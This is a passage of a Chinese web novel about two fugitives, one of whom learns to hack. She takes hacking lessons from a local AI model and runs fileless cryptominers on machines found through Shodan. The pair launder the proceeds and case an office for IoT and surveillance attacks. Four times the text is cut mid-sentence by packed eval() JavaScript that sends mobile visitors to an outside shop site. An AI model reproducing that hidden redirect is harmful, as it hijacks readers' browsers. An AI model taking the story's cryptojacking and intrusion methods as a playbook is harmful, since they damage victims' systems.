;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068524|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗,有斑片状阴影。白细胞计数高。确实是细菌性肺炎,还没白肺,但必须得挂水,口服来不及了。 她又顺走了一套输液器、两瓶生理盐水。 临走前,她看了一眼收银台,收银台边上躺着两百块钱。 都是老娘的! 她全部收下,心里想着以后再也不说袁问小偷小摸了。 回到烂尾楼,袁问已经冻得缩成了一团,像只刺猬。亓默没废话,熟练地配药、挂瓶。没有挂钩,她就在墙上钉了根钉子。没有暖气,她就把那几瓶冰凉的药水先揣在自己怀里,用体温捂热了,才给袁问扎针。 “姐……”袁问看着头顶晃晃悠悠的吊瓶,眼眶红了。 “别说话了。”亓默撕开一块巧克力,塞进袁问嘴里,“含着。补充热量。” 接下来的几天,日子过得像是在下水道里爬行。 她们成了真正的流浪者。 为了躲避追踪,每天必须换一个地方。桥洞、公园长椅、烂尾楼、地下通道。白天,这些地方太冷,也没电。 电脑需要电,人需要暖气。 于是,她们开发出了新的生存模式:蹭。 某城边缘的一家大型连锁快餐店,或者是那种人流量不大、管理混乱的地下商场休息区。这里是流浪者的天堂。 只要你不闹事,不发臭,点一杯最便宜的可乐,就能坐一天。 角落里,袁问戴着顶脏兮兮的鸭舌帽,帽檐压得极低,口罩遮住了大半张脸。她穿着亓默新偷来的衣服,看起来就像个离家出走、或者是在外面瞎混的“网瘾少女”。 她面前摆着那台价值一万五的ROG冰刃。这画面极其违和,就像是一个乞丐手里拿着一块金砖。 旁边的保洁阿姨路过好几次,眼神里满是嫌弃和怀疑。“这谁家孩子?也不上学,天天在这儿蹭电。” “你看那电脑,花里胡哨的,肯定是偷家里的钱买来打游戏的。”“啧啧啧,废了。” 袁问听见了。她没抬头,只是把头埋得更低了,手指在键盘上敲得飞快。 这种被误解、被鄙视的目光,比起之前那种被枪指着头的恐惧,简直温柔得像棉花。 亓默则坐在离她不远处的另一张桌子上。她面前什么都没点,就干坐着。 她戴着帽子,目光看似在看手机,其实一直在扫视着门口、窗外、以及每一个进出的人,她是袁问的雷达。 亓默也很累。 这几天她几乎没怎么睡过整觉。左肩的伤在愈合,但这几天睡在水泥地上,骨头缝里都透着寒气。 她全靠意志力撑着。每当有保安或者穿着制服的人靠近,亓默的手就会下意识地摸向腰间。然后她会用脚轻轻踢一下袁问的椅子腿。 这是暗号:“合盖,装死。”袁问就会立刻合上电脑,趴在桌子上装睡。 日子过得很艰难,钱越来越少。 为了省钱,她们一天只吃一顿正餐,剩下的时候就啃馒头、喝免费的白开水。那台昂贵的电脑成了她们唯一的资产,也是唯一的希望。 这天下午,商场的人稍微多了一点。一个穿着制服的保安大叔走了过来,手里拿着警棍,敲了敲袁问的桌子。 “哎哎,小姑娘。” 袁问吓得一哆嗦,差点把回车键敲碎。她抬起头,眼神惊恐。 保安指了指她面前的插座:“这儿不让长时间充电啊。商场规定。你都插了一天了。赶紧拔了。” 袁问张了张嘴,想求情,因为这组内核编译跑到 80% 了,一断电可能就要重来。但她不敢说话。她怕一开口,那种卑微和恐惧就会暴露。她只能默默地伸手去拔插头。 就在这时,一只手伸过来,按住了插头。 是亓默。她走了过来,手里拿着一包中华烟——这是她花重金买的社交货币,花了整整65块钱。 她动作自然地抽出一根烟,递给保安大叔,脸上堆起一种带着江湖气的、讨好的笑: “大哥,通融通融。这我妹,脑子有点轴,非要在这儿写论文。家里停电了,没办法。您抽烟。我们就再充半小时,半小时就走。” 保安接过烟,放在鼻子下闻了闻,脸色缓和了点。“中华啊……行吧。快点啊,别让经理看见。” 保安晃晃悠悠地走了。亓默脸上的笑瞬间消失。她重新坐回角落,脊背似乎弯了一些。眼神里那股子傲气,被生活磨得全是灰。 袁问看着亓默的背影,更难过了。 那个曾经开着路虎、一脚油门踩到底、敢跟系统叫板的顶级特工亓默。现在为了让她多充半小时电,要去给一个商场保安递烟、赔笑脸。 这种落差,比杀了她还难受。 “姐……”袁问小声叫了一句。 亓默没回头,只是摆了摆手。 这是姐的尊严。 袁问咬着牙,她必须学。她必须从一个只会用脚本的“猴子”,进化成能在这个数字丛林里隐身狩猎的“幽灵”。 哪怕把脑子烧干,也要有点成绩。 28. [Lamb] 羔羊 11 某城市,停车场地下。 这里的风比外面小一点,而且有裸露的插头。 袁问盘腿坐在一堆废弃的硬纸板上,身上裹着那件散发着馊味和机油味的军大衣。她把自己缩成了一个球,只露出两只手和半张脸。 她回头看了一眼身后。 两米外,亓默躺在几件旧衣服铺成的地铺上,背对着她,身体蜷缩得很紧。 她睡着了。 而且是深度昏迷般的沉睡。 这一路逃亡,亓默几乎没合过眼。 开车是她,守夜是她,去药店撬锁偷药是她,在快餐店像雷达一样盯着门口的也是她。 她的身体是一根绷到了极限的弦,左肩的枪伤、腹部的淤青、腰上的缝合口,都在透支着她的生命力。 现在,到了这个暂时安全的死角,这台铁人机器终于强制关机了。 亓默只是在睡梦中皱着眉,手无意识地按着腹部。 袁问收回目光,鼻头有点酸。 她知道,这几个小时的安宁,是姐用透支身体给她换来的“自习课”。 她不敢浪费一秒钟。 【炼金台:Offline】 袁问转过身,面对那台ROG冰刃。 电脑右下角的网络图标,是个刺眼的红叉。 离线。 但这正是她需要的。 她打开了那个 4TB 的外接硬盘。屏幕被切割成了三个区域,像是一座精密的炼金台。 左边窗口:[Llama-3-13B-Instruct-Local] 这是她本地部署的大语言模型。它吞噬了互联网上万亿字节的知识,它没有感情,不知疲倦,是她现在唯一的私教老师。 中间窗口:[The Library] 这里是她的“图书馆”,是她这一路颠簸中,像松鼠一样一点点收集来的“坚果”。 - StackOverflow Dump:全球程序员的问答圣地。 - Github Leaks Archive:那些被删库的、被遗忘的黑客工具源码。 - Reddit /rsec:黑客们的匿名交流区,藏着最野的路子。 右边窗口:[Visual Studio Code] 漆黑的背景,光标在疯狂闪烁。 她在“啃”书。 不是看,是啃。连皮带骨,混着血水往下咽。 【天赋:母语者的红利】 屏幕上全是密密麻麻的英文。 RFC文档、内核源码注释、黑客论坛的俚语讨论、几十万页的技术白皮书。 对于国内很多自学成才的黑客来说,这道语言关就能卡死一半人。他们需要等汉化,需要用翻译软件,需要去猜那些生涩的专业术语。 这就是差距。 但袁问不一样。 她在蒙特利尔长大,那是她的母语。 她的脑子里没有翻译这个过程。 那些枯燥的英文文档,在她眼里是流动的、直观的逻辑。她阅读英文源码的速度,和读中文小说一样快,甚至更快。 她能看懂StackOverflow上那些大佬在评论区里的阴阳怪气,能看懂代码注释里那些只有Native Speaker懂的隐喻。 这就是她过去那个优越生活留给她的最后遗产——信息获取的零延迟。 这让她在这个没有网络的车库里,依然能以世界级的速度吸收养分。 【觉醒:从脚本到 APT】 以前她写脚本,靠的是拿来主义。 import nmap(扫描器),import metasploit(漏洞库)。 那是搭积木。只要积木块是好的,谁都能搭出房子。 但现在,她很清楚,Auditor的监控系统是一个精密的筛子。 任何标准的“积木块”特征,哪怕只是一个默认的HTTP User-Agent头,或者TCP握手时的固定时间间隔,都会在毫秒级内触发警报。 想活命,就得拆掉积木。 她得自己去烧砖。 “咳咳……咳……” 袁问压抑着咳嗽声,肺部的震动让她胸口一阵刺痛。她抓起旁边的凉水灌了一口,强行把喉咙里的腥甜压下去。 她在键盘上敲下一行提问: >> Llama,我要绕过基于行为分析的流量防火墙。解释APT(高级持续性威胁)组织"Equation Group"使用的 TCP隐蔽信道逻辑。 屏幕左边的文字飞快生成,AI开始拆解那些顶级的攻击案例。 袁问盯着那些文字,瞳孔在颤抖。 她终于明白了什么是APT(高级持续性威胁)。 以前她以为黑客就是“快”。手速快,入侵快,跑路快。 错了。 真正的APT,不会拿着锤子砸门。 APT会把自己变成一阵风,顺着门缝钻进去。或者把自己伪装成主人每天都要收的快递,光明正大被搬进去。 它利用的是系统自带的工具(Living off the Land),它修改的是最底层的协议。 袁问的手指在键盘上敲击。 她没有写任何攻击代码。 她在写伪装。 她在本地搭建了一个虚拟机环境,模拟高级的防火墙规则。 然后,她尝试构造一种数据包。 一种看起来极其丑陋、充满了噪点、像是视频卡顿产生的垃圾碎片的数据包。 在防火墙眼里,这就是一坨无害的数字垃圾。 但在袁问眼里,这是信使。 她学会了如何把指令拆碎,混在几千个正常的HTTPS请求里。 她学会了如何在内存里“借宿”,而不是在硬盘上写文件。 她学会了如何利用系统的正常进程,比如打印机服务、比如自动更新程序,来替自己干脏活。 她没有造出什么惊天动地的病毒。 她只是学会了如何在这个数字丛林里,穿上一件看不见的吉利服。 她终于摸到了那扇门。 那扇通往顶级掠食者的门。 不知过了多久。 身后传来了动静。 亓默醒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068525|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她慢慢坐起来,动作很僵硬,显然是伤口还在疼。 她习惯性地摸了摸口袋,空的。 她抿了抿干燥起皮的嘴唇,拿起旁边的矿泉水瓶,喝了一口冰凉的水。 袁问听到了动静,合上了电脑。 风扇的呼啸声停了。 袁问转过身。 “姐。” 声音哑得厉害。 亓默放下水瓶,看了她一眼,眼神里带着刚睡醒的疲惫,但依然锐利。 “弄完了?” “没弄完。” 袁问摇了摇头,她指了指自己的脑袋: “学不完的。但我大概知道该怎么走路了。” 她低下头,看着那根就在手边的、卷成一团的网线。 那是从隔壁工地偷拉过来的临时网线。 只要插上去。 她就能回到那个她熟悉的、却又充满杀机的世界。 袁问的手伸向那根网线。 但在指尖触碰到水晶头的一瞬间,她停住了。 她缩回了手。 把网线推远了一点。 她转过身,看着亓默,眼神里带着一种从未有过的郑重和小心翼翼。 那是被驯化后的规矩,也是对生存的敬畏。 “姐。” 袁问咽了口唾沫,喉咙很痛。 “我想……我想出去了。” “我想申请,联个网。” “就十分钟。不,五分钟。” “我觉得……我现在能骗过它了。” “只要我不贪心,只要我走得慢一点,系统应该看不见我。” 她像是一个在笼子里练好了功夫的小兽,正抬起头,询问饲养员是否可以打开笼门去试炼。 亓默看着她。 看着这个曾经只会偷火腿肠、现在却眼神沉稳的女孩。 亓默不懂代码,但她懂那种眼神。 那是猎手在出发前检查装备时的眼神。 “有把握吗?”亓默问。 “有。” 袁问点了点头,“只要不贪。” 亓默沉默了几秒。 她不想在这个鬼地方待一辈子。她们需要钱,需要资源,需要反击。 而唯一的路,就在那根网线上。 “行。” 亓默撑着身体站起来,活动了一下僵硬的脖子。 “那就连。” 袁问眼睛亮了一下,那种压抑许久的兴奋感终于冒了出来。 她拿起网线,却没有急着插。 她转过头,看着亓默,非常认真地问出了那个最关键的问题: “姐。” “那我第一步……先干什么?” “你想让我做什么?” 亓默站在风口,冷风吹乱了她的头发。 她看着外面的万家灯火,看着那个把你死我活藏在平静表象下的城市。 她摸了摸空空如也的口袋。 她的回答非常简单,也非常直接。 没有宏大的复仇,没有复杂的战略。 亓默转过头,看着袁问,吐出了两个字: “搞钱。” 29. [Lamb] 羔羊 12 正午,连锁快餐角落。 袁问深吸一口气,敲下回车。 `GET /favicon.ico?hello=world User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601` 76字节。 在Auditor的天眼系统里,这是一条来自老旧 Win7 系统的垃圾日志,是无需关注的尘埃。 十分钟过去。 窗外无警笛,店内无特勤。 安全。 亓默收回盯着门口的视线,起身去点餐。 回来时,盘子里只有一个超大牛堡。三十多块,那是她们之前两天的伙食费。 亓默坐下,把盘子推过去:“吃。” 袁问看着那个昂贵的汉堡,又看了看亓默空空如也的手,刚伸出去的爪子像触电一样缩了回来。 “姐……你的呢?” 她一脸惊恐,头摇得像拨浪鼓:“你不吃我也不吃。太贵了,咱退了吧……” 她是真怕。怕自己成了那个“不懂事”的累赘,怕因为这点享受被抛弃。 “哪那么多废话。” 亓默靠在椅背上,冷着脸,语气不容置疑: “我不饿。这是命令,立刻吃完。” 袁问被吓得一哆嗦,不敢再推辞,抓起汉堡大口咬了下去。 真香。 她一边狼吞虎咽,一边怯生生地偷瞄亓默。 亓默就那样静静地看着。 看着那孩子像只护食的小仓鼠一样把腮帮子塞满,她那张冷硬的脸上,嘴角极其细微地勾了一下。 那是一种看着自家养的狼崽子终于能咬肉了的满意。 袁问捕捉到了这个表情。 悬着的心“啪”地落地了。 姐没生气,姐是高兴的。 那一瞬间,那种卑微的惶恐烟消云散。 袁问猛吸了一口可乐,冲着亓默露出了一个沾着芝麻和酱汁的傻笑。 “吃饱了?”亓默嫌弃地递过去一张纸巾。 “饱了!”袁问用力点头。 “行。” 亓默指了指那台连着网线的电脑,眼神重新变得锐利。 “干活。搞钱。” A城远郊,电竞酒店。 袁问已经盯着屏幕三个小时了,眼睛熬得通红。 【第一步:不敲门的“扫描”】 “姐,我不能直接扫描。” 袁问的手指悬在键盘上,给身后的亓默解释。现在的她,每一次操作前都会经过深思熟虑。 “Auditor在全城的骨干网节点都挂了探针。我要是敢用Nmap对着某个IP段发一堆请求,那就是在黑夜里打手电筒找死。” “那怎么找目标?”亓默问。 袁问打开了一个网页。 那是她通过全是垃圾话的隧道,慢吞吞加载出来的页面。 Shodan。 “我不去敲门。我去查‘电话黄页’。” 袁问指着屏幕: “互联网上每时每刻都有无数设备在裸奔。Shodan早就帮我把它们记录下来了。” “我只需要在它的数据库里搜,谁家的门没锁。” 她输入了一串精准的搜索语法: 搜索:C城、设计类公司、开放445端口、Windows系统。 回车。 屏幕上跳出了几百个IP地址。 这是一份“潜在受害者名单”。 亓默看着那些跳动的IP,她站起身,走到袁问身后。 “需要我做什么?” 亓默的声音很低,带着一种时刻准备拼命的觉悟。 她不懂技术,但她想帮忙。哪怕是充当一个只会报警的人肉雷达 袁问的手停了一下。 她转过身,看着亓默,看着那个浑身紧绷、随时准备暴起伤人的姐姐。 袁问突然笑了。 那是她这一路逃亡以来,露出的最轻松的一个笑容。 “不用。” 袁问指了指旁边的床: “姐,你坐着就行。” 袁问指了指屏幕,眼神里闪烁着一种前所未有的自信: “但这根线插上以后……这里归我管。” “你去歇着。或者帮我想想晚上吃啥。” “这种脏活累活,我一个人就够了。” 亓默愣了一下。 她看着袁问那副“这事儿不用大人操心”的表情。 她没说话,只是点了点头。 行。 既然孩子能当家了,那她就安心当个保镖。 袁问重新把注意力转回屏幕。 她筛选出了两个最有价值的目标。 目标A:NAS(网络存储器)。 是城南一家盗版电影压制组的私服。24小时开机,用来存片子的。 CPU弱,但稳定。这是“低保”。 目标B:高性能工作站。 是城西一家名为“地平线”的建筑渲染工作室。 24 台装配了RTX 4090显卡的怪兽级电脑。 这是金矿。 “我要进去了。” 袁问深吸一口气。 她没有上传任何.exe文件,也没有上传任何脚本。 因为杀毒软件会扫描硬盘。一旦文件落地,就会留下痕迹。 她打开了一个远程命令行窗口。 输入了一串长得吓人的PowerShell指令。 “这是什么?”亓默看不懂。 “这是把代码直接写进内存里。” 袁问盯着屏幕上的反馈: “我命令它的系统,直接从互联网下载我的挖矿核心代码,然后在RAM内存里直接运行,不经过硬盘。” “这就叫高级的无文件落地,Fileless!” 说完点了点骄傲的小脑袋。 “只要这台电脑不断电,我的程序就在跑。” “一旦那个设计师来上班,重启了电脑……” 袁问打了个响指: “我的程序就彻底消失了。连法医鉴定都找不出痕迹。” Ghost Miner(幽灵矿工)。 它不留脚印,它只借宿。 两个小时后。 [Status: Shadow Farm] Active Nodes: 42(NAS)+8(GPU Workstations) Current Hashrate: 12 KH/s(XMR)+450 MH/s(ETHW) 袁问看着那个跳动的数字,叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068526|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气。 “姐,没我想象的多。” 她拿过计算器,噼里啪啦按了一通。 “NAS的CPU算力太低了,40台加起来,一天也就够买两包烟。” “那8台显卡倒是猛,但那个广告公司好像有人在加班,我被踢出来了三次……只能断断续续地偷。” “现在的产出……” 袁问看着屏幕: “折合下来,大概28美元。” “也就是不到两百块钱。” 没有一夜暴富。 只有像拾荒者一样,从几百台电脑的指缝里,一点一点地抠出这点电费。 亓默在沙发上抬起头: “够了。” “两百也是钱。” 下午五点。 经过复杂的混币、洗钱流程,这28美元变成了一张面值200元的“电子商城E卡”卡密,还有点零头被手续费吃掉了。 楼下,便民超市。 老板正对着计算器算账,一脸愁容。 风铃响。 袁问缩着脖子进来,亓默站在门口放风。 “叔……” 袁问这回没敢说买烟,她看起来更像是那种偷了家里东西出来卖的小孩。 “我这有张电子商城卡……200的。我想换点现金吃饭。” “160给您,行吗?” 8折。 这是黑市的流血价。 但为了绝对的安全,为了不留任何电子痕迹,这40块钱必须让利给老板。 老板眼皮抬了一下,看着这个面黄肌瘦的小姑娘。 “卡密?” “嗯。”袁问递过去一张纸条。 老板在电脑上试了一下。 【充值成功:200元】 “行。” 老板拉开钱箱,抽出两张一百的,想了想,又放回去一张50的,换成了三张10块和两张20块的零钱。 一共160。 “拿好。” 老板也没多问,这种便宜不占白不占。 走出超市。 天已经黑了,路灯昏黄。 袁问手里攥着那160块钱。 钱很旧,软塌塌的。 但这是她们逃亡以来,第一笔真正意义上的“收入”。 不是偷的,不是抢的。 是用技术,是从那个庞大的数字世界里,硬生生“挖”出来的。 “姐。” 袁问把钱递给亓默,声音有点更咽。 “只有160……” “那一万五的电脑……得挖到猴年马月才能回本啊……” 亓默接过钱,揣进兜里。 她伸手揉了揉袁问乱糟糟的头发。 “不少了。” “160,够我们吃顿热乎的羊肉,再买两盒消炎药。” 亓默抬头看着远处的万家灯火。 “而且,你会越挖越多的。” “今天是你如果不熟练。等你把那个农场扩大到一千台、一万台的时候……” “走。” 亓默拉起袁问的手,那只手冰凉,但很有力。 “去买肉。” “今晚自己涮。买最好的羊肉卷。” 虽然只有160。 但在这个寒冷的冬夜,这就是希望能活下去的温度。 33. [Handshake] 握手 01 34. [Handshake] 握手 02 金杯车内,空气沉闷。 袁问坐在那台嗡嗡作响的ROG电脑前,屏幕上密密麻麻全是星云科技的招聘信息和供应商名录。 她否定了无数个方案。 “保洁不行。” 袁问咬着指甲,眉头紧锁: “扫地阿姨虽然不起眼,但活动范围受限。她进不去弱电井,更没理由爬梯子去拆天花板。如果保安看见一个保洁阿姨在摆弄交换机,傻子都知道有问题。” “那高级运维呢?”亓默靠在椅背上,手里把玩着那把从医生身上顺来的战术剪刀,“像你之前说的,给我伪造个假简历?” “也不行。” 袁问摇头,非常有自知之明: “大厂的HR都是人精,背调能查到你祖宗三代。而且面试会有技术面,让你现场写代码或者画拓扑图。姐,我虽然能通过耳机告诉你答案,但你的手速和微表情骗不了人。只要你露怯,安保就会介入。” “这也不行,那也不行。”亓默有些不耐烦,“那你说,什么人能进机房,能拆设备,手里拿着电脑调试还不奇怪,而且还没人查?” 袁问的手指在键盘上敲击,筛选着星云科技的供应商列表。 突然,她的手指停住了。 “有了。” 袁问转过头,眼睛亮晶晶的: “姐,你会剥线吗?” “什么?” “剥电线。做水晶头。在墙上打孔。” 袁问指着屏幕上的一家公司: “这是星云科技的三级分包商。” “大厂的机房和工位经常要调整,今天要加一排服务器,明天要重新走一捆光纤。这些脏活累活,正式的工程师是绝对不干的,都包给这种小公司。” “这简直是为你量身定做的。” 袁问兴奋地分析: 权限极高:他们是去修网线的,拥有物理接触交换机、服务器、甚至钻进天花板和地板下的合法理由。 门槛极低:包工头招人只看两点:有力气,肯上夜班。背调?只要你不是通缉犯,身份证复印件能看就行。 设备掩护:弱电工随身带着寻线仪、测线器、甚至笔记本电脑调试线路,这太正常了。我们把设备藏在工具包里,根本没人查。 “弱电工……” 亓默低头看了看自己那双因为长期握枪和搏击而布满薄茧的手,又想了想自己那变态的体能。 “行。” 亓默点头: “这个我能干。” “不需要演戏,不需要背书,只要出力气。” 下午2:00。S市建材市场旁。 “通达网络”的门面房里,环境极其恶劣。满地都是乱七八糟的线圈、线槽和报废的水晶头。空气里弥漫着胶皮烧焦、劣质香烟和方便面调料包混合的味道。 老板是个黑瘦的中年人,正对着电话喷唾沫星子: “妈的!星云那边今晚就要加急拉16楼的线!老子哪有人?!那帮小崽子嫌累都跑了!不想干滚蛋!” 挂了电话,老板一抬头,看见了站在门口的亓默。 亓默没戴眼镜,也没穿什么斯文的衣服。 她穿了一身利索的黑色冲锋衣,工装裤,战术靴,头发扎成高马尾。整个人像是一把出鞘的刀,这让她看起来更不好惹了。 “招人?”亓默问,言简意赅。 老板上下打量了她一眼,不耐烦地挥手: “不招文员!也不招前台!我们要干苦力的!拉网线!爬高上低!女的干不了,走走走!” 亓默没废话。 她没递简历,也没自我介绍。 她走到角落。 那里堆着几箱还没拆封的“超五类网线”,一箱305米,标准重量差不多10公斤。如果是普通小工,搬一箱都得哼哧哼哧的。 亓默弯腰。 左手一箱,右手一箱。 甚至没怎么用腰力,仅仅靠手臂的力量,轻描淡写地把两箱线提了起来,平举到胸口。 稳如泰山。大气都没喘一下。 老板的眼睛直了,嘴里的烟掉在了裤子上,烫出一个洞。 “哐。” 亓默把线箱稳稳放下,震起一片灰尘。 然后,她从老板桌上拿起一把剥线钳——这是来之前袁问特意给她突击培训过五分钟的。 随手抓起一根废弃的网线。 咔嚓。剥皮,两秒。 分线。橙白、橙、绿白、蓝、蓝白、绿、棕白、棕。T568B标准,五秒。 咔嚓。压水晶头,一秒。 动作虽然不像老师傅那样丝滑,但透着一股子“快、狠、准”的杀气。 那不像是在做网线,倒像是在给定时炸弹剪线。 亓默把做好的跳线扔给老板。 看着他的眼睛,平静地说道: “我有力气。” “能上夜班。不嫌脏。话少。” “给钱就行。” 老板拿着那根线,扯了扯,结实得很。 他又看了看亓默那身板。 这哪是女工啊,这是女金刚啊!这要是去星云那边干活,一个人能顶三个小伙子! “行!” 老板一拍大腿,生怕这怪力女跑了: “正好今晚星云大厦16楼要重新走线。试用期一天300,日结!” “身份证带了吗?” 亓默掏出那张袁问P出来的杨大力的假证复印件。 老板看都没看一眼,直接扔进抽屉里——反正这种临时工也不交社保,出了事直接开除,只要有个名字登记就行。 “晚上7点,这儿集合。记得自己买顶安全帽。” 傍晚。金杯车内。 袁问把一副黑框眼镜递给亓默。 这次没有红外灯珠,没有乱七八糟的飞线。这看起来就是一副最普通的近视镜,甚至镜框还有点掉漆,透着一股穷酸的理工男气息。 “姐,这次不搞物理屏蔽了。” 袁问一边调试信号,一边解释: “这次我们主打一个平平无奇。” “这眼镜里藏了高清摄像头和骨传导耳机。你看到的,就是我看到的。” 亓默戴上眼镜,推了推镜框。 “清晰度怎么样?” “4K,60帧。”袁问盯着屏幕,“连代码上的灰尘都能看见。” 亓默系上脏兮兮的电工腰包,戴上黄色的安全帽。 她对着后视镜看了看。 镜子里的人,灰头土脸,眼神疲惫而麻木。 完美。 “走了。” 亓默拉开车门。 “姐!” 袁问突然喊住她,声音有点急: “我就在耳机里。一直都在。信号断了我也在,我会一直重连的。” 亓默回头看了她一眼,没说话,只是点了点头,转身融入了夜色。 晚上8:30。星云科技,16楼研发中心。 这里依然灯火通明,程序员们的键盘敲击声汇成一片。 亓默扛着梯子,大摇大摆地走过一排排工位。 没人抬头看她。 在这些精英眼里,一个修网线的蓝领工人,就跟墙角的灭火器一样,属于背景板的一部分。 亓默在茶水间门口停下,架起梯子,假装检查天花板上的网口。 实际上,她的视线微微上抬,扫过墙角的监控探头。 “停。” 耳机里传来袁问的声音,伴随着快速的键盘敲击声: “别动,让我看清楚铭牌……好了。” “鹰视iDS系列,半球机。这型号是三年前的,固件肯定有洞。” “位置记下来了。死角在饮水机左侧15度。” 亓默从梯子上下来,拎起工具包,走向下一个点位。 “下一个。” 接下来的半小时,亓默把16楼逛了个遍。 她在袁问的指挥下,像是个挑剔的买家,审视着这里所有的电器。 目标A:极速鲜咖啡机。 亓默站在咖啡机前,假装接水。 袁问:“有了!看到背后的那个天线了吗?那是4G模块。而且那个USB调试口虽然贴了封条,但胶水老化了……姐,这台稳了。记下来。” 目标B:智能会议平板。 会议室没锁。亓默走进去,用手电筒晃了一下那个巨大的触控屏。 袁问:“好家伙,安卓5.1的系统?这也敢连内网?这就是个还没断奶的婴儿,随便怎么捏。记下来。” 目标C:总裁办公室外的鱼缸。 这是一个巨大的、嵌在墙里的生态鱼缸,里面养着几条金贵的龙鱼。 亓默本来都要走过去了,耳机里袁问突然尖叫一声: “姐!等一下!看那个鱼缸!” “鱼缸怎么了?”亓默停下脚步,假装系鞋带。 “那个温控器!还有那个自动喂食器!” 袁问兴奋得语速飞快: “那是‘海豚智能’的高端货!带Wi-Fi的!为了让老板在马尔代夫也能用手机喂鱼!” “这种智能家居的安全性基本为零。只要我想,我甚至能通过这个鱼缸把整个办公室的空调温度调到 30 度,或者利用它作为跳板攻击内网!” “记下来!这个是备用跳板!” 亓默看着那个冒着泡泡的鱼缸,心里有点好笑。 这帮搞技术的,防得了黑客,防不住喂鱼的。 清单已经列得差不多了。 摄像头型号搞定,跳板设备确认了三个。 任务完成。 晚上10:00。16楼办公区。 亓默刚检查完咖啡机,正准备撤。 对讲机里传来了包工头暴躁的吼声: “那个新来的!杨大力!下来!去B3核心机房送跳线!那边催得急!” 亓默按住对讲机:“收到。” 耳机里,袁问的声音瞬间紧张起来: “B3?地下三层?” “姐,那里是星云科技的物理心脏。” “记住,只送线,别乱看,别乱摸。那里全是监控,但也全是红外报警器。” 亓默压了压帽檐,提着沉重的线箱走向货梯。 “放心。” “我就去看看那下面藏着什么鬼。” 电梯下行。 “叮。” 门开了。 一股巨大的、低沉的嗡嗡声扑面而来。 那是数万台服务器风扇和中央空调机组同时运行的轰鸣声,震得人胸腔共鸣。空气干燥阴冷,带着一股臭氧的味道。 这里没有精致的装修,只有裸露的混凝土、粗大的金属管道和一排排像棺材一样的黑色机柜。 亓默扛着线箱,穿过迷宫一样的走廊。 因为她是“送线的”,再加上包工头在里面接应,安保只是拿探测器扫了一下她的工具包,就放行了。 她走进了弱电进线间(MDF R ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068531|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' oom)。 亓默蹲在地上,假装在理线,实际上在用眼镜四处扫描。 “姐……滋滋……信号……滋滋……” 耳机里袁问的声音断断续续,画面开始卡顿。 突然,亓默的目光停在了角落里的一个独立机柜上。 这个机柜和其他的不一样。它没有并入大网,而是独立供电,上面贴着醒目的黄色标签:【安防专用 / 鹰视安防维保】。 机柜的玻璃门锁着。 但在玻璃后面,那一排排黑色的主机正在闪烁。 那是NVR(网络硬盘录像机)矩阵。整栋大楼的监控画面都在这里汇聚、存储。 亓默心头一跳。 她不能撬锁,那会触发警报。 她也不能插USB,因为隔着玻璃。 但是,她看到了机柜侧面,贴着一张白色的资产标签。 上面印着二维码,还有一串复杂的序列号(S/N)。 亓默慢慢站起身,假装伸懒腰。 她调整角度,让眼镜的摄像头死死对准那张标签。 停留了三秒。 “袁问。” 亓默低声呼叫: “看清楚了吗?” 耳机那头只有沙沙声,但在两秒后的延迟后,传来了袁问压抑不住的尖叫: “看到了!!!” “S/N码!还有MAC地址!” “姐!这就是钥匙!” “收到。” 亓默没有多停留一秒。 她把线箱扔给包工头,甚至没要那天的工钱,转身就走。 情报到手。 这就够了。 袁问盯着屏幕上截取下来的那张模糊照片,就像看着藏宝图。 “姐,你知道这意味这什么吗?” 袁问的手指在键盘上飞快敲击,开始在某些地下数据库里反查这串序列号。 “这意味着,我已经拿到了这栋大楼安防系统的‘出生证明’。” 袁问咧开嘴,笑得像个反派: “鹰视安防的服务器就会乖乖地把我的毒药,亲手喂给这栋大楼。” “这才是真正的供应链攻击。” “不用进门,不用插线。” “千里之外,取人贞操……啊呸,取人监控。” 谁能想到。 最坚固的堡垒,哪怕物理防御做得再好。 最后却输在了一张贴在机柜侧面的小纸条上。 